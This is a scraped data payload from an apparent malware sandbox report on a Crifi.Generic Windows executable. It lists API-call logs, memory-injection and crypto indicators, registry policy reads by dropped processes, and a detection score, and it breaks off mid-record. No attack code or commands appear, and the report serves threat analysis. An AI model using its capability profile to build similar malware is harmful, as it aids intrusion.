26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 87:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T481,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample abc0064210d2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample abc0064210d2…. Malware family: Crifi.Generic. Threat score 100/100. 11/24 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2"],"about":{"@type":"SoftwareApplication","name":"random.exe","applicationCategory":["peexe","executable"],"identifier":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":11,"total":24},"behavioralIndicators":{"malicious":9,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T780,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141240" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141248" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141276" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141488" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141304" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141460" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141472" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "6158140" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141356" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141452" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "6158136" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141320" - (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindResourceA" with parameter "19141328" - (UID: 00000000-00000860)28:Tcba,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188136'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19187992'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188152'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188040'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188008'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188056'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188104'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19187976'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188088'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188120'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188072'}" (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19188024'}" (UID: 00000000-00000860) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498856'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498712'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498872'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498760'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498728'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498776'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498824'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498696'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498808'}" (UID: 00000000-00007396) "F2a97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20498840'}" (UID: 00000000-00007396)29:Ta6a,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")2a:T529,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WinStationFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")2b:T587,Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")2c:T608,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")2d:T4af,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains CRYPTO related strings Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Contains reference to cryptographic keys Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Reads the cryptographic machine GUID Matched sigs: YARA signature match - AES encryption2e:T8dc,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "postmessage"; File: "app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-7cc66dc86dd7_1_.js") file/memory contains long string with (Indicator: "postmessage"; File: "ui_packages_alive_alive_ts-ui_packages_favicon_favicon_ts-ui_packages_hotkey_keyboard-shortcu-30cc64-4f2226f8b82b_1_.js") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00001224-00000C2A-454041539") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00001224-00000C2A-454045425") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00001224-00000C2A-455267938") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00004460-00000C2A-484729708") Found reference to API "EnumWindowStationsW" (Indicator: "enumwindows"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")2f:T1e31,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "F2a97.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007396) "F2a97.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007396) "F2a97.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007396) "1H12M2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001224) "1H12M2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001224) "1H12M2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000720000004c484f0108484f01f39bf9767c4b4f012c1d7e0372000000202e7e034c484f010000000030484f01977ff9764c484f01e99cfb76c030ea76000800000000000000000000442e7e031fd2242454484f0154484f0172451d7600000000c030ea76ffffffffbbc2d2005c000000c030ea7600080000400cd300446c4f01 (UID: 00000000-00001224) "1H12M2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000038084c0138cffa765c357e03a4084c010100000010357e035c357e0310357e03040000000400000000e0277600100000a4084c010100000010357e03cd97fa769c97fa76c3902724b50f1e7610357e030000fa760000000054dadb740000000080ee24760100000000000000f8e22776000000000400000080a98f7348402676f8e22776a8084c0180e84e7658db7e0380e84e76a4084c010000000080e84e7600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c64f8403dc4f8403 (UID: 00000000-00001224) "1H12M2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000dec18403f6c18403 (UID: 00000000-00001224) "1H12M2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000cef38403e2f38403 (UID: 00000000-00001224)30:T1058,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f55d00fcdf9872609aa60000000000f0f55d00baa89872609aa60048f65d00c58b9872609aa600010000005e00494b0000000086ed69440000000003000000fcf65d000a000000b402000040f75d0078f65d005d0000000300000000f65d0008f65d0010f95d00d0bb987296668e39feffffff50f75d005511977286ed6944 (UID: 00000000-00000860) "F2a97.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000df9872b8a47a0000000000d8f53600baa89872b8a47a0030f63600c58b9872b8a47a0001000000fa9eb19c0000000067e11f3d0000000003000000e4f636000a000000f418000028f7360060f636005f00000003000000e8f53600f0f53600fcf83600d0bb98724af81deefeffffff3cf736005511977267e11f3d00000000 (UID: 00000000-00007396) "1H12M2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000000000001e73ec007360ec006cfd4f01a060ec0020fd4f011c13ed000f0000003092ec0000000000100000001c13ed000f0000003092ec00a06cec0006000000026eec00060000005a6eec00018dec00a2acec006cfd4f01216eec0078fd4f0178046b051c13ed000f00000006000000a1b2ec00 (UID: 00000000-00001224) "1H12M2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000d90020fd4f016079e6008e0000008e1ad9008f02d9006cfd4f01bc02d90020fd4f016079e6008e000000c464d90040000000100000006079e6008e000000c464d900b411d900060000007215d90006000000ca15d9000160d9009eb2d9006cfd4f019115d90078fd4f011800b1056079e6008e00000006000000e5b8d900 (UID: 00000000-00001224) "1H12M2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fd4f01bc02d90078fd4f018c40ed0032c2ec00a3c2ec0000e098001f10ed00020200008c40ed0000e0d800d8fd4f019cfd4f0100e0980074cee400a025d653a82fb505b6310000e0fd4f019115d90032c2ec00a3c2ec0000e098008c40ed0000e0d80040fe4f01dcfd4f0100e09800d868e800a025d653a82fb50512020000 (UID: 00000000-00001224) "1H12M2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000100c1f0100000000c0e44f015916fa7601000000080000000100000000007e0300000000100000000000000000000000020000000200000000007e03010000000800000000000000e0e44f01ee13fa7601000000ee13fa760800000000000000080000009a1c5eb718e74f01ad9c7f7200007e030800000001000000 (UID: 00000000-00001224) "3Y00Z.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008536) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000059020000f00c36e759020000300d36e75902000006000006d44a0000f00235e7 (UID: 00000000-00004460) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300050000051d9a000040c9c182 (UID: 00000000-00007072) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000890200003020492d890200007020492d890200000600000607330000b01e472d (UID: 00000000-00008744) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000720200006018d77f72020000a018d77f7202000006000006f4800000f01ed57f (UID: 00000000-00004104)31:T5fd,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "F2a97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "F2a97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1H12M2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")32:T4eb,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: 